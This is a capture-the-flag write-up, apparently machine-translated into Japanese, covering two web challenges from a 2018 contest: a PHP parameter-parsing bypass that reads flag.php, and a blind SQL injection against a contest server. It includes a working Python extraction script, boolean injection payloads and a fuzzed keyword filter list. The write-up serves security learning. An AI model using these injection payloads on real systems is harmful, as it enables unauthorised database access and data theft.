2018安恒5月試合(web)

10491 ワード

前言


実習期間中のせっかくの2日間の休みは、自分の実力の不足を考慮して、まだしばらく大チームに溶け込むことができない.練習を急ぐ大物たちRCTFの活躍を期待する.

本文


web 1の奇妙な恐竜の特性


ソース:

highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
}
elseif ($str<9999999999) {
    echo 'A_A,too small';
}
elseif ((string)$str>0) {
    echo 'A_A,too big';
}
else{
    echo file_get_contents('flag.php');
}

 ?>

1つの変数A_Aが入力され、後の数字の判断に合致することが要求する.長い間詰まっていましたが、このブログではhttps://www.waitalone.cn/security-scripts-game.htmlで8番目に重要な情報を見ました.
マニュアルによると.は合法的な演算子ではなく、自動的に_に置き換えられる.一方、$_SERVER['QUERY_STRING']は、ユーザが入力変数であるため、変更されない.
または_を直接url符号化して$_SERVER['QUERY_STRING']の第2のステップを迂回します:テストを経て、私は発見しました
$a = [1,2,3];
$b = 555;
var_dump($a>$b);

なんとTrue!テストを続行:
$a = [1111,2,3];
$b = [555,444,9,10];
var_dump($a>$b);// false

$a = [1111,2,3];
$b = [555,444,9];
var_dump($a>$b);//true

$a = [1111,2,3];
$b = '555';
var_dump($a>$b);//true

$a = [1111,2,3];
$b = ['555x',2,3];
var_dump($a>$b);//true

2つの配列が比較的先にキー値が個数に対していることを推測し、個数が多いと大きい.第1グループのキー値のペアを見て、どれが大きいか(まず数字を変えることができるかどうかを判断する.もしできないならば、辞書順に並べて)、それに対応する配列は大きい.
配列内の比較は直接ascii順であることも考えられる.
警告Notice: Array to string conversionが表示する.最初は数字と配列を比較するときに数字を配列形式に変えると思っていたが、今はそうではないようだ.配列も数字も文字列に転向すべきだ.しかし配列がどのような形式の文字列に変わるかは分からない.師匠たちがあなたの見解を残してほしい.

Web 2に登録できないadmin


解題スクリプト

# coding=utf-8
import requests
import string
import sys
x = string.digits+string.ascii_letters+"{@_}"
url = 'http://101.71.29.5:10005/json.php'
ans = ''
for j in range(len(ans)+1,20):
    for i in range(len(x)):
        payload = 'admin" |if(mid(database(),%d,1)>"%s",1,0) #' % (j,x[i])
        data= {
            'id':payload
        }
        r = requests.post(url,data=data)
        if "admin" in r.text.encode('utf-8'):
            ans += x[i]
            print ans
            print r.text.encode('utf-8')
            sys.stdout.flush()
            break
        else:
            pass
#database: 5monthweb

ぶんせき


元のページはajax操作があって、分析した後にjsonを思っていることを発見します.php post id値admin"#を使用して"を正常に閉じると、対応するエラーが発生します.
Fatal error: Uncaught exception 'Exception' with message 'You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '"""' at line 1 query:
 select * from article where title ="""' in E:\apache2\htdocs\MysqliDb.php:1926 
#1 E:\apache2\htdocs\MysqliDb.php(550): MysqliDb->rawQuery('select * from a...', NULL) 
#2 E:\apache2\htdocs\json.php(27): MysqliDb->rawQueryOne('select * from a...') 
#3 {main} thrown in E:\apache2\htdocs\MysqliDb.php on line 1926

最初はmysqliがワイドバイト注入をすると思っていたが、実際に閉じた文は" fuzzの結果を示した.
no:['ord', 'or', 'union', 'select', 'and', 'from', 'order by', 'substr', "'", '*', '&&', 'information_schema']
yes:[' ', '%', 'group_concat', '(', '"', 'where', 'if', ' ', '||', '#', '--+', '_', '`', '/', '<>', 'in', '=', 'mid', 'like', 'database()', '>', 'user()', 'tables', 'limit']
unionselectが濾過することがわかる.そしてinformation.schemaも濾過する.次の2つのアイデアがあります.
  • mysqlエラー文、爆庫名、爆表名、爆フィールド名に基づいている.
  • 盲注が立ち上がる.

  • 方法1は、この記事を参照してください.http://www.zjicmisa.org/index.php/archives/149/試してみたが、成功しなかったし、フィールド名が推測できなかったので、後でテストする時間があるでしょう.
    方法2:N 1 CTFのいくつかのsql注入問題に基づいて、admin"|if(mid(database(),1,1)>"0",1,0)#を構築してデータベース5monthwebを脱出することができる.次に、表名article、フィールド名idtitleが誤報に基づいて知る.したがって、推測はcontentフィールドも含む.admin" |if(mid(content,1,1)>"0",1,0)#で走るとflagが見えました

    に質問


    スクリプトにはmid関数からフィールドの最後までの処理という小さな問題があります.実行すると、元の答えに基づいて0が山積みになります.

    戦果


    私が書いてもいいと思います.私の個人的な静的ブログにも注目してください.https://cntjuscswyz.github.io/ ありがとう